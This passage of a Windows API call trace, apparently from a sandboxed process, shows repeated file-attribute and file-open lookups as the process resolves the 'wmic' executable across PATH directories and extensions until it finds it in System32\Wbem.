dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.198] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.198] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.198] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.198] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.com" (normalized: "c:\\windows\\system32\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.199] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.com" (normalized: "c:\\windows\\system32\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.199] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.exe" (normalized: "c:\\windows\\system32\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.199] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.exe" (normalized: "c:\\windows\\system32\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.199] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.bat" (normalized: "c:\\windows\\system32\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.199] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.bat" (normalized: "c:\\windows\\system32\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.199] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.cmd" (normalized: "c:\\windows\\system32\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.199] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.cmd" (normalized: "c:\\windows\\system32\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.199] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.vbs" (normalized: "c:\\windows\\system32\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.199] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.vbs" (normalized: "c:\\windows\\system32\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.199] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.vbe" (normalized: "c:\\windows\\system32\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.200] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.vbe" (normalized: "c:\\windows\\system32\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.200] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.js" (normalized: "c:\\windows\\system32\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.200] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.js" (normalized: "c:\\windows\\system32\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.200] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.jse" (normalized: "c:\\windows\\system32\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.200] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.jse" (normalized: "c:\\windows\\system32\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.200] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.wsf" (normalized: "c:\\windows\\system32\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.200] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.wsf" (normalized: "c:\\windows\\system32\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.200] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.wsh" (normalized: "c:\\windows\\system32\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.200] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.wsh" (normalized: "c:\\windows\\system32\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.200] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.msc" (normalized: "c:\\windows\\system32\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.200] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.msc" (normalized: "c:\\windows\\system32\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.200] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.com" (normalized: "c:\\windows\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.201] CreateFileW (lpFileName="C:\\Windows\\wmic.com" (normalized: "c:\\windows\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.201] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.exe" (normalized: "c:\\windows\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.201] CreateFileW (lpFileName="C:\\Windows\\wmic.exe" (normalized: "c:\\windows\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.201] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.bat" (normalized: "c:\\windows\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.201] CreateFileW (lpFileName="C:\\Windows\\wmic.bat" (normalized: "c:\\windows\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.201] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.cmd" (normalized: "c:\\windows\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.201] CreateFileW (lpFileName="C:\\Windows\\wmic.cmd" (normalized: "c:\\windows\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.201] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.vbs" (normalized: "c:\\windows\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.201] CreateFileW (lpFileName="C:\\Windows\\wmic.vbs" (normalized: "c:\\windows\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.201] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.vbe" (normalized: "c:\\windows\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.201] CreateFileW (lpFileName="C:\\Windows\\wmic.vbe" (normalized: "c:\\windows\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.202] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.js" (normalized: "c:\\windows\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.202] CreateFileW (lpFileName="C:\\Windows\\wmic.js" (normalized: "c:\\windows\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.202] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.jse" (normalized: "c:\\windows\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.202] CreateFileW (lpFileName="C:\\Windows\\wmic.jse" (normalized: "c:\\windows\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.202] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.wsf" (normalized: "c:\\windows\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.202] CreateFileW (lpFileName="C:\\Windows\\wmic.wsf" (normalized: "c:\\windows\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.202] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.wsh" (normalized: "c:\\windows\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.202] CreateFileW (lpFileName="C:\\Windows\\wmic.wsh" (normalized: "c:\\windows\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.202] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.msc" (normalized: "c:\\windows\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.202] CreateFileW (lpFileName="C:\\Windows\\wmic.msc" (normalized: "c:\\windows\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.202] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.com" (normalized: "c:\\windows\\system32\\wbem\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.203] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\wmic.com" (normalized: "c:\\windows\\system32\\wbem\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.203] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde745e4d, ftCreationTime.dwHighDateTime=0x1d5acdd, ftLastAccessTime.dwLowDateTime=0x428e9c2, ftLastAccessTime.dwHighDateTime=0x1dac836, ftLastWriteTime.dwLowDateTime=0xde745e4d, ftLastWriteTime.dwHighDateTime=0x1d5acdd, nFileSizeHigh=0x0, nFileSizeLow=0x80a00)) returned 1 [0190.203] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000a2c820, nSize=0x64 | out: lpBuffer="") returned 0x35 [0190.203] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf420 | out: lpFileInformation=0xc000adf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde745e4d, 